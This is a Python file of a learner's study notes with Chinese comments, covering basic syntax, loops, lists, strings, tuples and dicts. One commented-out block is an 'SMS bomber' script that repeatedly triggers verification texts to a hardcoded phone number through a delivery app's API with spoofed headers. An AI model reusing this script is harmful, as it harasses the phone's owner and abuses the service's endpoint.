#!/usr/bin/python
#-*- coding:utf-8 -*-
#逗号和加号的用法：
#name = input ("what's your name:")
#print ("hello" , name) 打印出括号里面的两个字符串拼接，用逗号或加号都可以
#username = input ("username:")
#password = input ("password:")
#print ("hello!","your",username,password)
#int的用法：
#name = input("name:")
#age = int (input ("age:")) 用int把括号里面的字符串转换成数字
#job = input ("job:")
#hometown = input("hometown:") 复制上一行快捷键Ctrl+D,用int把括号里面的字符串转换成数字
#格式化输出名字、年龄、工作、家乡的a简写：
'''info = """
------------- info of %s ----------
Name: %s
Age: %s
Job: %s
Hometown:%s
-------------- end -----------------
""" % ('name','name','age','job','hometown')'''
#print(info)
#定义%s为占位符
# s = string指的是字符串
# d = digit指的是整数
# f = float指的是小数
#查看数据类型用type：
'''print(type(name),type(age)) #查看数据类型用type'''
#次方的用法：
'''print(2**32) 打印出2的32次方'''
#取整除用法：
'''
print(10//2)输出取整除
print(10//3)输出取整除,会把余数去掉
'''
#判断的用法：
'''
a = 10
b = 20
print(a == b) 判断a等于b
print(a>b) 输出判断a是否大于b的结果
print(a!=b) 判断a不等于b
'''
#流程控制单分支：
'''AgeOfOldboy = 56
if AgeOfOldboy > 50 :
print("Too old, time to retire.. ")'''
#流程控制多分支：
'''age_of_you = 25
if age_of_you > 26 :
print("time to find a bf.")
else:
print("--------hahhh")
'''
#流程控制多分支：
'''age_of_old = 25
if age_of_old > 29:
print("time to find a bf. ")
else:
print("还可以再谈及此恋爱....")
print("-------------hahah") #指的是双分支'''
#作业1#练习：练习输入姓名、性别、判断如果是女生、打印我喜欢女生、否则一起来搞基
'''_name = "zd"
_sex = "girl"
name = input("name:")
sex = input("sex:")
if sex == _sex :
print("我喜欢女生")
else:
print("一起来搞基!")'''
#作业2 练习输入姓名、性别、年龄、判断如果是女生并且年龄小于28岁、打印我喜欢女生、否则打印姐弟恋也很好奥！
'''_name = "zd"
_sex = "girl"
_age = "24"
name = input("name:")
sex = input("sex:")
age = int(input("age")) #此处注意转换用int
if sex == _sex and age <28 :
print("我喜欢女生")
else:
print("姐弟恋也很好奥!")'''
#作业3练习输入姓名、性别、年龄、判断如果是女生并且年龄小于28岁、打印我喜欢女生、否则打印姐弟恋也很好奥！,如果是男生，打印一起来搞基
'''_name = "shanshan"
_sex = "girl"
_age = "25"
name = input("name:")
sex = input("sex:")
age = int(input("age")) #此处注意转换用int
if sex == "f":
if age < 28 :
print("I love girls")
else:
print("姐弟恋也很好")
else:
print("一起来搞基")'''
#作业4猜年龄游戏：
'''age =26
user_guess = int(input("you guess:"))
if user_guess == age :
print("恭喜你答对了，可以抱得傻姑娘回家！")
elif user_guess < age : #多条件判断用elif
print("try bigger")
else:
print("try smaller")'''
#作业5匹配成绩小程序分等级：
'''score = int(input(">>:"))
if score > 100:
print("成绩最多是100")
elif score >=90:
print("A")
elif score >= 80:
print("B")
elif score >= 60:
print("C")
elif score >= 40:
print("D")
elif score >= 0:
print("E")
else:
print("成绩不能是负数")'''
#while循环--当什么什么的时候
'''语法：
while 条件：
执行代码 '''
#练习一：写出0到100的程序，每循环一次+1
'''count = 0 #首先定义一个变量开始是0
while count <= 100 : #注意冒号是在英文状态下写的，循环到小于等于100截止，
print("loop",count) #打印出count值，loop是循环的意思
count += 1 #每执行/循环一次加1，就把上面定义的变量count加1，要不就变成了死循环、因为count一直是0
print('--------loop is ended--------' ) #最后再打印个循环结束了'''
'''上面整段代码的意思是首先定义一个变量count是0并从0开始执行，然后接下来判断是否小于或等于100，然后打印出0、
1、2、3、4一直到100为止，count += 1意思就是，第一次打印出来是0、然后接下来count += 1，让上面打印出来的count是
0依次加1，走到count += 1后又回到while count <= 100判断是否小于等于100、若成立的话继续打印出下面循环上来的
count值，最后再打印个循环结束了'''
#练习二打印1到100偶数
'''count = 0
while count <= 100 :
if count % 2 == 0 : #如果上面的数除以2余数是0的话,那么这个数就是偶数，
print("loop",count) #只要满足上面的数取模余数是0的话打印出这个数
count += 1 #根据上面的这个数循环加1，不管count是否奇偶数
print('------------loop is end------------') #打印出最后循环结果'''
'''举例子：0 / 2 = 0 余数是0，但是余数是0，所以照常打印出来
1 / 2 = 0,余数是1，所以不打印出来，等于1的情况是在上面第一次count等于0的情况下满足下面的条件count+= 1所以等于1
2 / 2 = 1,余数是0，所以照常打印出来，等于2的情况是在上面第二次count等于1的情况下满足下面的条件count+= 1所以等于2
3 / 2 = 1,余数是1，所以不打印出来
4 / 2 = 2,余数是0，所以照常打印出来
5 / 2 = 2,余数是1，所以不打印出来'''
#练习三第50次不打印、第60-80打印平方
'''count = 0
while count <= 100 :
if count == 50:
pass #就是过
elif count >=60 and count <= 80 :
print(count*count)
else:
print("loop",count)
count += 1
print('------------loop is end------------')'''
#字符串的三种拼接和乘法：
'''name = "Alex"
age = "22"
print(name,age)
print(name+"age")
print(name + age )
print(name * 10)
'''
#布尔类型：true or false--------主要用于逻辑判断
'''a = 10
b = 15
print(a<b)
print(a>b)
'''
# -*- coding:utf-8 -*-
# -*- 易公子 -*-
# 短信轰炸鸡，把其中的13385458569换成你要轰炸的号码就行了
'''
import requests #此处需要创建一个模板
import time
for i in range(10):
headers = {'Host': 'user.mapi.jiashuangkuaizi.com', 'Content-Type': 'application/x-www-form-urlencoded',
'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Accept': '*/*',
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.6.6 NetType/WIFI Language/zh_CN',
'Referer': 'https://servicewechat.com/wx712367736f80857d/15/page-frame.html', 'Content-Length': '109',
'Accept-Language': 'zh-cn'}
data = 'phone=13385458569&_platform=wxapp&_version=3.9.8&_osversion=wxapp&_device=wxapp&_city=110100&utoken=undefined'
x = requests.post('https://user.mapi.jiashuangkuaizi.com/Passport/sendVerificationCode', data=data, headers=headers)
print(x.text)
time.sleep(61)
'''
#字符串的格式化输出name、age、job、hometown完整代码：
'''name = input ("Name:")
age = input ("Age:")
job = input ("Job:")
hometown = input ("Hometown:")
info = """
-------------info of %s----------
Name : %s
Age : %s
Job : %s
Hometown : %s
-------------end-----------------
""" % (name,name,age,job,hometown)
print(info)'''
#必须输入数字的设置：
'''name = input ("Name")
age = int(input ("Age")) #注意加int
job = input ("Job")
hometown = input ("Hometown")
info = """
---------------info of %s------------
Name : %s
Age : %d #注意改变成d
Job : %s
Hometown : %s
------------------end----------------
""" % (name,name,age,job,hometown)
print(info)'''
#查看数据类型：
'''name = input ("Name")
age =input ("Age")
job = input ("Job")
hometown = input ("Hometown")
print(type(name),type(age))'''
#加int后查看数据类型：
'''name = input ("Name")
age = int(input ("Age"))
job = input ("Job")
hometown = input ("Hometown")
print(type(name),type(age))
'''
#会变成小数的写法：
'''name = input ("Name")
age = int(input ("Age"))
job = input ("Job")
hometown = input ("Hometown")
info = """
---------------info of %s------------
Name : %s
Age : %f
Job : %s
Hometown : %s
------------------end----------------
""" % (name,name,age,job,hometown)
print(info)
'''
#数据类型三种：s = string(字符串) ,d = dijit（整数）, f = float（小数）
#运算符：算术运算、比较运算、逻辑运算、赋值运算、成员运算、身份运算、位运算、
'''
+
-
*
/
% 取模，返回除法的余数
** 返回x的y次幂
// 取整除，返回商的整除部分
'''
'''
a = 1+1
b = 1-1
c = 1*1
d = 1/1
e = 9%4
f = 3**4
g = 8//6
print(a,b,c,d,e,f,g)'''
#比较运算 ：假设 a = 10,b = 20
'''== 等于，比较对象是否相等
!= 不等于，比较两个对象是否不相等
<> 不等于，
>= 大于等于
<= 小于等于
'''
#赋值运算：
'''
= ，例如：C = a+b
+= 加法赋值运算，例如：c += a等效于c = c + a
-= 减法赋值运算，，例如 ：c -= a等效于c = c - a
*= 乘法赋值运算符，例如：c * a等效于 c = c*a
/= 除法赋值运算符，例如：c/a等效于 c = c/a
%= 取模赋值运算符，例如：c %= a等效于 c = c%a
** 幂赋值运算符，例如：c**=a等效于 c = c**a
//= 取整除赋值运算符， 例如：c//=a等效于c = c//a
'''
# +=加法赋值运算的用法：
'''a = 10
b = 20
c = 3
print(a,b,c)
print(c+a) #打印出c加上a,也就是3加上10
print(c) #再重新输出c
msg = c + a #定义一个变量msg
print(c+msg) #基于上面输出c的结果再打印出c等于c加上a如何写？:先定义一个变量再重新加值
print(type(msg)) #查看定义变量msg的数据类型
print('c+msg') #若想实现字符串的结果的话加引号？
#print int(c) += int(a) #??????
'''
#查数据类型 ：
'''d =12
print(d)
print(type(d)) #查看d的数据类型，类型是整数
print ('d') #整数转字符串的写法是加上引号'''
#+=的完整写法：先用c += a,然后再print(c)
'''a = 10
b = 20
c = 3
c += a
print(c)
c += a
print(c)
c -= a
print(c)
b -= c
print(b)
b *= a
print(b)'''
#逻辑运算：and、or、not
'''a = 10
b = 20
msg = (a ==10 and b == 20) #and的用法
print(msg)
msg1 = (a ==10 or b ==21) #or的用法
print(msg1)
msg2 = not a==2 or b==24
print(msg2) #not的用法，a等于2，b等于24就是这个结果是错误的，然后前面再加个否的相反的表示正确的
'''
#输出用户名密码判断：
'''_username = "shanshan" #先规定/设定好变量用户名是shanshan
_password = "abc123" #再规定/设定好密码password是abc123
username = input("name:")
password = input("password:")
if username == _username and password == _password :
print("welcome",username)
else:
print("wrong username or password!")
'''
#死循环程序写法：
'''count = 0
while True :
print("forever 21 ",count)
count += 1'''
#循环终止语句：break
'''count = 0
while count <= 100:
print("loop",count)
if count == 5:
break
count += 1 #每执行一次循环加1，要不然就变成了死循环
print("------------out of while loop-----------")'''
'''上面整段代码的意思是从0开始，小于等于100，如果count等于5后停止循环'''
#循环终止语句：continue
'''count = 0
while count <= 100:
print("loop",count)
if count == 5:
continue
count += 1 #每执行一次循环加1，要不然就变成了死循环
print("------------out of while loop-----------")'''
'''上面整段代码的意思是从0开始，小于等于100，如果count等于5后,continue下面的count += 1就不走了，就在成了死循环'''
#打印1到5和95到100的程序：
'''count = 0
while count <= 100:
count += 1
if count > 5 and count < 95 :
continue
print("loop",count)
print("-------------out of while loop-------------------")'''
'''上面整段代码的意思是count值从0开始、count小于等于100、下面count加1、如果count大于5小于95、那么就停止这个
范围、继续执行范围以外的程序、但是程序执行完毕的小于等于100、最后打印的101是因为当count是100的时候继续执行
下面的加1完毕这最后一次的'''
#练习一：继续优化猜年龄游戏、允许用户最多猜三次、中间猜对了、直接跳出循环、
'''count = 0
age =26
while count< 3 :
user_guess = int(input("you guess:"))
if user_guess == age :
print("恭喜你答对了，可以抱得傻姑娘回家！")
break
elif user_guess < age : #多条件判断用elif
print("try bigger")
else:
print("try smaller")
count += 1'''
#练习二：继续优化猜年龄游戏、允许用户最多猜三次、猜了三次以后、再问是否还想玩、如果用户选Y、则再次允许猜三次
#依次往复
'''count = 0
age = 26
while count < 3 :
user_guess = int(input("you guess:"))
if user_guess == age :
print("恭喜你答对了，可以抱得傻姑娘回家！")
break
elif user_guess < age :
print("try bigger")
else :
print("try smaller")
count += 1
if count == 3 :
choice = input("你个笨蛋，没猜对，还想继续么？(y|Y)")
if choice == 'y' or choice == 'Y' :
count = 0 #重置为0'''
#while ... else 语法：；
#练习一执行0到5的代码：
'''count = 0
while count <=5 :
print("Loop",count)
count += 1
else :
print("循环正常执行完了")
print("------------out of while loop----------")'''
#练习二运用break、打印出0到3
'''count = 0
while count <= 5 :
print("Loop",count)
if count == 3 :
break
count += 1
else :
print("loop is done...")
print("out of loop")'''
#debug调试：
'''count = 0
while count<10:
print('loop',count)
if count == 3 :
continue
count += 1'''
#快速打印出数字的二进制格式的语法：
'''print(bin(342)) #0b代表二进制
print(bin(50000))'''
'''print("你好")'''
#如何通过一个变量存储公司所有员工的名字用列表：
'''name = "shanshan, longting ,Alex"
print(name)
print('Alex' in (name)) #判断Alex是否在变量name里面'''
#数据类型-列表：
'''列表的功能：
创建
查询
切片
增加
修改
删除
循环
排序
L1 = [] #定义空列表
L2 = ['a',[b],[c],[d]] #存4个值，索引为0-3
L3 = ['abc',['def','ghi']] #列表嵌套'''
'''#创建列表：
name = ['shanshan','longting'] #赋变量列表
print(name) #打印
names = [] #赋空列表
print(names) #打印'''
#查询列表：
'''L2 = ['a','b','c','d','a','e',1,2] #创建
print(L2[2]) #通过索引取值，因为索引是从0开始的，
print(L2[-1]) #通过索引取最后一个值
print (L2.index('d')) #查列表里面1的索引值用index
print(L2[6]) #打印出L2列表中索引值是第六位的值'''
#创建列表、拿到索引值、定义变量、再拿到索引值里面的索引值
'''n2 = ['shanshan','longting','Alex',1,3,4,4,5,6,7,7,8,9,9,0,0,2,3,4,4] #创建出列表
print(n2.index(1)) #查列表里面1的索引值用index不加冒号--------------------这是通过知道列表里面的值查索引值写法
print(n2.index('Alex')) #查列表里面Alex字母的索引值用index需要加冒号----------这是通过知道列表里面的值查索引值写法
print(n2) #打印出列表
print(n2.index(4)) #打印出列表里面4的索引值是5
i = n2.index(4) #定义变量上方
print(n2[i]) #打印出在索引值是5的基础上找出n2列表里面的值是什么的代码应该怎么写？------这是通过知道索引值查列表里面的值的写法。
print(n2[n2.index(4)]) #另外一种写法，这是通过知道索引值查列表里面的值的写法。
print(n2) #再次带引出n2
print(n2.count(4)) #打印出列表里面4的个数用count
print(n2[0-2]) #打印出0减去2等于负2，也就是倒数第二个值4
print(n2[0:3]) #打印出前三位、典型的顾头不顾尾、也就是切片
print(n2[3:7]) #切中间
print(n2[-5:-1]) #切倒数后5个
print(n2[-5:]) #另外一种写法切倒数后5个
print(n2[0:3]) #取前三个
print(n2[:3]) #取前三个
print(n2[:]) #取第一个到最后一个
print(n2[:7]) #取0到7
print(n2[:]) #取全部
print(n2[:7]) #
print(n2[:7:2]) #跳着取0到2到4到6取得是偶数，1、3、5都不要了
print(n2[:7:1]) #取0到7依次取
print(n2[:-1:3]) #取0到最后一个中间隔开两个，从第三个依次取3、5、7、9，专业术语叫step步长
print(n2[::2]) #从0取到尾按两部走用再冒号
print(n2)
n2.append('peiqi') #追加用append,也就是追加到最后一个值
print(n2)
n2.insert(0,'abc') #指定位置追加用插入insert+索引值+值
print(n2)
n2.insert(2,'Alex') #
print(n2)
n2[2] = 'peiqi' #改变位置的名字直接用等号加后面的值就可以了
print(n2)
n2[3] = '龙婷' #附值中文也一样
print(n2)
n2[4:6] = 'JACK LIU' #批量修改/区间修改
print(n2)
n2.pop() #删除最后一个
print(n2)
n2.remove('abc') #删除值用remove,此处注意因为abc是字符串所以要加引号
print(n2)
n2.remove(4) #从左边依次找删除第一个4，此处是数值所以不用加引号
print(n2)
del n2[2] #全局性删除用del+指定某个位置
print(n2)
#del i #变量也可以删除
#print(i)''' #
'''del n2[2:6] #批量删除
print(n2)'''
#循环列表：
'''L2 = ['a','b','c','L','I','e',1,2]
for i in L2: #in L2意思就是循环L2列表，in L2就是把这个列表里面的每一个值赋给这个i，i是一个临时变量，
print(i) #执行下面的语句，第一次循环打印a,第二次循环打印b，第三次循环打印c，往后依次类推'''
# L3 = ['a', 'b', 'c', 'L', 'I', 'e', 1, 2]
# for k in L3: # in L2意思就是循环L2列表，in L2就是把这个列表里面的每一个值赋给这个i，i是一个临时变量，
# print('loop',k)
#生成0到10的列表
'''k = range(10) #自动生成0到10的列表用range
print(k) #如何打印出来上面自动生成的列表？这句代码应该怎么写？
for i in k:
print(i)'''
#第二种写法生成0到10的列表
'''range(10) #自动生成0到10的列表用range
for i in range(10) :
print(i)'''
#while循环和for循环的区别？
'''while可以是死循环，for是有边界的'''
#for排序：
'''n = ['a','e','b',1,34,2,'c']
print(n) #列表是通过索引排序的
n.remove(1)
n.remove(34)
n.remove(2) #删除整数值
n.append('z') #追加z值
n.insert(1,'y') #指定位置插入值
print(n)
n.insert(3,'A') #插入大写的值
print(n)
#n.sort() #排序用sort
n.sort() #a到z排序
print(n) #这个打印出的结果是按大写在最前
n.insert(3,'#') #插入三的位置#号
n.insert(3,'*')
n.insert(1,'!')
print(n)
n.sort() #重新排序
print(n)#这个打印出的结果是按特殊字符在前，内部特殊排序是按照ASCLL表
n.reverse()#倒序排列用reverse
print(n)
n2 = [1,2,4]#再定义个表
print(n2)
n + n2 #两个列表拼起来直接用+
print(n+n2)
n.extend(n2) #还可以用extend把两个表拼起来
print(n) #n.extend（n2）后打印n就好了，是把n2这个列表加到n里面,执行n.extend(n2)是没有返回值的，所以是none
n.clear()#clear是把整个列表清空来了
print(n)
print(n2)#打印出n2已备后续引用
n2.copy()#复制列表用copy
n3 = n2.copy()
print(n3)'''
#创建列表+定义变量+改变列表里面的某一个值+重新打印变量后给跟随列表变动的玩法：
'''n = [3,4,5] #先创建列表
n4 = n #定义变量
n[1] = 'Alex' #改变变量里面索引值所对应的值
print(n4) #重新打印变量后会跟随变化后的列表变动而变动'''
#而如果用copy的话不会跟随列表里面的值变动而变动：
'''n = [3,'Alex',5]
n5 = n.copy()
n[2]='JACK'
print(n5) #上面四行代码的意思是先创建表、然后新复制一份之前创建的表，然后改变之前创建的表里面的值后再重新打印出来复制的表
# 新变量一份'''
#作业练习：创建一个names列表：
'''names = ['Alex','jack','rain','mack','racheal','shanshan']
for i in names:#循环依次打印出来
print(i)
count = 0
for i in names :
print(count,i)
count += 1 #打印出元素加上索引值的需求：第一种方法：先定义个count索引值从0开始，然后依次打印出count和循环，并且每次循环的时候都加1
print(enumerate(names))#第二种方法用enumerate中文是枚举,直接把索引值取出来,但是在python2和python环境里面数不支持的
for i in enumerate(names):#第三种方法用enumerate完整版：
print(i)
for index, i in enumerate(names):#然后不加括号的写法加一个index+,+i：
print(index,i) #index就是先取索引值，然后中间用逗号连接、再打印出i
#循环names列表，打印每个元素的索引值、元素、当索引值是偶数时把对应的元素值改成-1的需求：思路：循环的时候判断索引是奇偶数，用取模
#如果是偶数、修改列表的值：列表名+中括号+值、总之一句话循环+判断+修改
for index, i in enumerate(names):
if index%2 == 0: #代表如果是偶数
print(index,i) #上面三行代码是先循环取出索引、然后再枚举、紧接着判断如果是偶数、那么就打印出来索引和枚举、
# 紧接着在索引的过程中改掉索引值所对应的元素值就可以了，最终再次打印出来，代码在下方：
for index ,i in enumerate(names):
if index%2 == 0 :
names[index]=-1
print(index,i)
print(names)'''
'''#names里面有3个2，请返回第二个2的索引值、不要人肉数、要动态找、：找到第一个2的基础上在此基础上再找第二个2的需求，代码在下方：
names = ['Alex','jack','peiqi',2,'rain','mack',2,'racheal','shanshan',2,'longtig']#重新定义表，
first_index = names.index(2) #先找到一个2的索引值、起个变量
new_list = names[first_index+1:]#接下来切片、从上面定义的变量开始切、first_index+1意思就是在第一次的基础上从
#下一个开始找,本质也就是从rain开始找、：冒号就是一直到最后
second_index = new_list.index(2) #第二种写法第三次继续、在上一次的基础上再计算出索引值是2的元素值打印出来,因为
#是在第二个2的基础上找出嘛，唯一区别就是不加1
second_val = names[first_index+second_index+1] #其实second的值是names列表里面的第一次first_index的值+
#second_index+1,本质也就是第一次的索引值3+第二次的在第一次的基础上的3+1给打印出来
print(new_list,first_index,second_index)#打印出列表里面的值+第一次的索引值+第三次的索引值
print('second values:',second_val) #合并打印出第一次的索引值+第三次的索引值+1扩住里面列表的值
# print(first_index)
# print(new_list)
# print(second_index)'''
#自我练习如下：
'''a = [1,2,3,4,5,3,2] #创建列表
print(a.index(1)) #打印出列表里面元素值是1的索引值用index
print (a[3]) #打印出a列表里面/或叫定义变量a里面索引值是3的元素值'''
#打印商品列表如下：
'''products = [['Iphone8',6888],['MacPro',14800],['小米6',2499],['Coffee',31],['Book',80],['Nike Shoes',799]]
print("-----------------商品列表--------------------") #首先打印出商品列表的盖子
for index,p in enumerate(products): #思路：首先循环打印出来用for、索引值的话用enumerate、前面再加index
#print(index,p[0],p[1]) #打印出索引值、小列表的索引值0、小列表的索引值1
print("%s. %s %s" %(index,p[0],p[1]))#通过格式化调下中间的距离'''
#写一个循环、不断的问用户想买什么、选择一个商品编号后、把所对应的商品放到购物车里面、最终用户输入Q退出时、
#打印出购物车来里面的商品、代码如下：
'''products = [['Iphon8',6888],['MacPro',14800],['小米6',2499],['Coffee',31],['Book',80],['Nike Shoes',799]]
shopping_cart = []
#run_flag = True #设置标志位默认等于False、就默认是不退出的、
exit_flag = False
#while run_flag : #若改成while run_flag默认开始的时候是执行的、
while not exit_flag :#若开始的时候就不是不执行的、意思也就是执行的、只不过在前面加了个not而已
print("--------------商品列表----------------------")
for index,p in enumerate(products):
print("%s. %s %s" %(index,p[0],p[1]))
choice = input("输入想买的编号：")#询问用户想买的编号,此处注意input输入的都是字符串、所以要用int转成字符串
if choice.isdigit(): #判断用户输入的值长得像不像数字用isdigit
choice = int(choice) #就都转成数字了
if choice >=0 and choice<len(products):#如果用户输入的值大于等于0小于列表的长度就把值加进去（结合下面两行代码看）
shopping_cart.append(products[choice])
print("Added product %s into shopping cart."%(products[choice]))#接下来打印出用户输入的值在列表里面所对应的值
else:
print("商品不存在")
elif choice == 'q': #再如果输入个q退出时
if len(shopping_cart)>0: #在这里再加个判断如果用户直接退出的话那么直接执行下面的代码购买的哪些商品
print("-----------你已购买以下商品-------------") #再次打印出
for index,p in enumerate(shopping_cart): #再加for循环
print("%s. %s %s" %(index,p[0],p[1])) #依然是再次打印出
#break #最终再次加一个break作为最终退出
#run_flag = False#在这里可以用另外一种写法开始的时候是成立的执行while true的死循环、然后接下来在这里
# 写成不成立用标志位、若不想上面的代码执行的话，此处需要将run_flag改成False
exit_flag = True #第三种反向写法
print(len(products)) #拿到列表的长度用len、但是是从0开始的、所以只能到5、要大于等于0小于6（列表的长度）'''
#如果输入个回车后也不会报错、因为用的isdigit长得像、回车也不像数字也不像q所以就继续循环执行了
#思路：首先要创建一个列表、并且再创建一个空列表/购物车（已备后续打印出的值放到我这个空的购物车里面存起来）、
#while True是是不停的循环打印出下面的代码索引值加价格、
#判断长的像不像
#print('3345678+3'.isdigit())
#拿到列表的长度用len，全称length，
#---------------------------------------------内存地址ID
'''names = ['alex','jack','1','mack','racheal','shanshan']
print(names)
print(id(names)) #查整个列表的内存地址
print(id(names[0])) #查列表里面每个元素的索引值的内存地址
#print(id(names[1])) #查列表里面每个元素的索引值的内存地址、每个元素都是独立的内存地址
a = 1
b = a
print(b) #这里打印出的是b对应的a的内存地址'''
#---------------创建n2表和names表
'''names = ['alex','jack',3,'mack','racheal','shanshan']
n2 = ['alex','jack',3,'mack','racheal','shanshan']
print(n2)
print (names[2])#打印出names表里面索引值是2的元素值，索引转元素不加index
names[2] = '-1' #重新赋值names列表里面索引值是2的元素值改成-1
print(names)
print(n2)
#print (names.index('mack')) #打印出names表里面元素值是3的索引值,元素值转索引用index
names.append(['longting',24]) #重新往names列表里面增加一个小列表longting,24
print(names) #
print(n2)
n3 = names.copy() #这里用copy为的是已备后续用
print(n3)
print(names[0]) #打印出names表里面索引值是0的元素值
names[0] = "Alex Li" #改变索引值对应的元素值
print(names)
print(n3) #再次打印出是不会改变的、因为是用的copy复制、完全独立了
print(names[-1])
print(names)
names[-1][0] = "龙婷" #改变longting的值为中文龙婷
print (names[-1][0]) #两行代码实现改变longting的值为中文龙婷/打印出改变的值
print(names)
#print (names.[-1][0]= '龙婷') #一把过改变longting的值为中文龙婷
print(n3)#再次打印出之前复制的列表n3、复制的列表会跟随之前的列表里面的值改变而改变
print(id(names),id(n3))#打印出names列表和n3列表的内存地址
print(id(names[1]),id(n3[1]))#打印出names列表里面索引值1和n3列表里面索引值1的内存地址结果是一样的
print(n3)
print(n3[1])#打印出n3列表里面索引值1的元素值
n3[1] = 'jack ma'#改变n3列表里面索引值1的元素值
print(n3)
print(id(names[1]),id(n3[1]))#打印出names列表里面索引值1和n3列表里面索引值1的内存地址
names[-1][0] = 'LT' #再次改变值
print(n3)
print(names) #其实都在共享这一份子列表、所以会跟这变。浅层次的修改的话n3和names不会完全独立、但是需要完全独立的话需要用到深copy
import copy #完全copy就是深copy、就导入一个用import、调用工具箱
n4 = copy.deepcopy(names) #
print(n4)
print(names)
print(names[-1][0])#再次找到names的[-1]和[0]
names[-1][0] = 'LongTing'#再次改变值LongLing
print(names)
print(n4) #再次打印出n4后不会跟着变、因为上面用的深copy、放在工具箱的用途是不长用'''
#字符串：不可变
'''s = 'Hello World!'
print(s.swapcase()) #小写变大写、大写变小写
s = 'Hello World!'
print(s.capitalize()) #
#Return a capitalized version of S, i.e. make the first character返回一个capitalized首字母是大写的、
# version of S字符串、make the first character have upper case and the rest lower case把第一个字母大写
#其他小写
#casefold(self): # real signature unknown; restored from __doc__S.casefold() -> str
# Return a version of S suitable for caseless comparisons把大小写去掉、全部变成小写、
s = 'HELLo WorlD!'
print(s.casefold())
#center(self, width, fillchar=None): # real signature unknown; restored from __doc__
# S.center(width[, fillchar]) -> str
# Return S centered in a string of length width. Padding is
# done using the specified fill character (default is a space)--返回中长度、中间是所填的东西
print(s.center(50,'*'))
print(s.center(50,'-'))#商品列表的话就不用自己搭中间的架子了、总长是50、值再中间
print(s.count('o')) #统计字母o有几个
print(s.count('o',0,5)) #统计区间字母o有几个
print(s.endswith('!'))#判断是不是以叹号结尾
print(s.expandtabs())#扩展TAB键
s2 = 'a\tb'#
print(s2)
print(s2.expandtabs(20))#把TAB键的默认长度变长
print(s.find('o'))#查找索引用find
print(s.find('o',0,3))#find也可以启始查区间
print(s.find('o',0,5))#find也可以启始查区间
s3 = 'my name is {0}, i am {1} years old'
print(s3)
print(s3.format('Alex',22)) #format的意思是字符串的格式化输出、把括号里面的第一个值赋到了第一个大括号里面、
# 第二个值赋到第二个大括号里面
s3 = 'my name is {0}, i am {0} years old'#赋予第二个值等于第一个值
print(s3.format('Alex',22))#
s3 = 'my name is {name}, i am {age} years old'#这是直接赋值
print(s3.format(name='Alex',age= 22)) #这是直接赋值'''
#index
'''s = 'Hello World!'
print(s.index('o'))#打印出第一个o的索引值
#print(s.index('o',5,6))#打印出第一个o的索引值区间在5到6、结果是没有那个o
print('22d'.isalnum()) #判断是不是阿拉伯用isalnum：数字和字母、结果是对的true、注意用小数点号
print('22d!'.isalnum()) #判断是不是阿拉伯用isalnum：数字和字母、结果是对的False、注意用小数点号
print('dd'.isalpha()) #判断是不是字符是用isalpha
print('22'.isdecimal()) #判断是不是数字是用isdecimal/也可以用isdigit
print('22'.isdigit())#
print('333'.isidentifier())#判断是不是合法的变量用isidentifier、变量不能以数字开头
print('3ddd33'.islower())#判断是不是都是小写用islower
print('33ddd232'.isnumeric()) #判断是不是只有数字在里面用isnumeric？？？
print('333'.isprintable())#判断这个值能不能被打印用isprintable
print(s.istitle())#判断所有的值的第一个字符是不是大写用istitle
names = ['alex','jack','rain']
print(names)
print(''.join(names)) #把列表变成字符串用join
print(' '.join(names)) #分离的话就加空格
print('--'.join(names)) #把列表变成字符串以后以什么区分元素用join
print(s.ljust(50))#填列表的长度用ljust
print(s.ljust(50,'-'))#填值
print(s.lower())#全变成小写
print(s.upper())#全变成大写
print(s.strip())#脱掉空格用strip
s += ' '#加空格
print(s)
s='\n hello world '#换行用\斜杠n
print(s)
print(s.strip())
print(s.lstrip())#只拖左边不脱右边
print(s.rstrip())#只拖右边不脱左边
str_in = 'abcdef'
str_out = '!@#$%^'
print(str.maketrans(str_in,str_out))#对应映射关系用maketrans、来源于ASCLL表
table = str.maketrans(str_in,str_out) #再次定义这样对应表
s = '\n hello world'
print(s)
print(s.translate(table))#把对应的表再次翻译'''
#partition的用法：
'''s = '[hello world]'
print(s.partition('o'))#把里面的值分成两段重新定义中间的值???
s1 = ['hello world']
print(s1.partition('o'))#----无效？？？'''
#replace替换的用法：
'''s = 'hello world'
print(s.replace('h','H'))#替换小写字母变成大写用replace
print(s.replace('o','-'))#默认全换加区间就可以了从o一直都倒数第一个
print(s.replace('o','-',1))#只换一次加1就可以了
print(s.rfind('o'))#从右边往左找先找到第一个字母o在第几个位置
print(s.rindex('o'))#从右边开始找索引
print(s)
print(s.rpartition('o'))#从右边开始分
print(s.split())#分成了列表、默认以空格分
print(s.split('o'))#可以指定按o分
print(s.rsplit('o',1))#分一次
s = 'a\nb\nalex\nc'
print(s.splitlines())#按行来分
s = 'hello world'
print(s.startswith('he'))#判断以什么开始用startswith
print(s.endswith('d'))#判断以什么结束
print(s.title())#把首字母变成大写
print(s.zfill(40))#写一个长度 #-------------黑色背景如何转？？？'''
#元组是有序的不可变的、相当于只读列表
'''names = ('alex','jack')
#print(names.\tab)#此处需要打一个tab键/或者叫看方法值???
print(names[0])
names[0] = 22 #TypeError: 'tuple' object does not support item assignment类型错误、
# 元组不支持元组这个对象不支持赋值'''
'''n2 = (1,2,4,5,6,6,7,78)
print(n2)
print(n2[2:5])#元组支持切片、把索引值是2到5的元素值切出来
n2 = (1,2,3,['a','b'],5)
print(n2)
print(n2[3])#把n2元组里面的索引值是3的打印出来
print(n2[3][1])#把n2元组里面的索引值是3的索引值再是1的打印出来
n2[3][1]='B'
#print(n2[3][1]= 'B')#把n2元组里面的索引值是3的索引值再是1的改成大写的B打印出来???
print(n2)'''
#hash哈希
'''print(hash('alex'))#打印出Alex的哈希值用hash、通过算法得出结果
print(hash((1,2,3)))#把元祖哈希
print(hash([1,2,3]))#'''
#
'''names = [['Alex',26,'技术部','工程师',13651054608],
['shanshan',25,'公安部','野模',13374245235],
['龙婷',24,'设计部','UI',13824234452]]
print(names)
print(names.index(['龙婷',24,'设计部','UI',13824234452]))#找到列表里面的小列表龙婷的索引值
print(names[2]) #打印列表里面索引值是2的元素值
#只通过名字查查出所有信息'''
#字典：
'''info = {}#建立空字典
print(info)
info = {
'龙婷':[24,'design','UI',23333],
'shanshan':[25,'PR','wild model',13445222]
}
print(info)
print(info['龙婷'])#列表查值通过索引、字典通过key就可以了、通过key知道value
print(info['龙婷'][1])#打印出字典里面的列表里面的索引值是1对应的元素值
print(info)
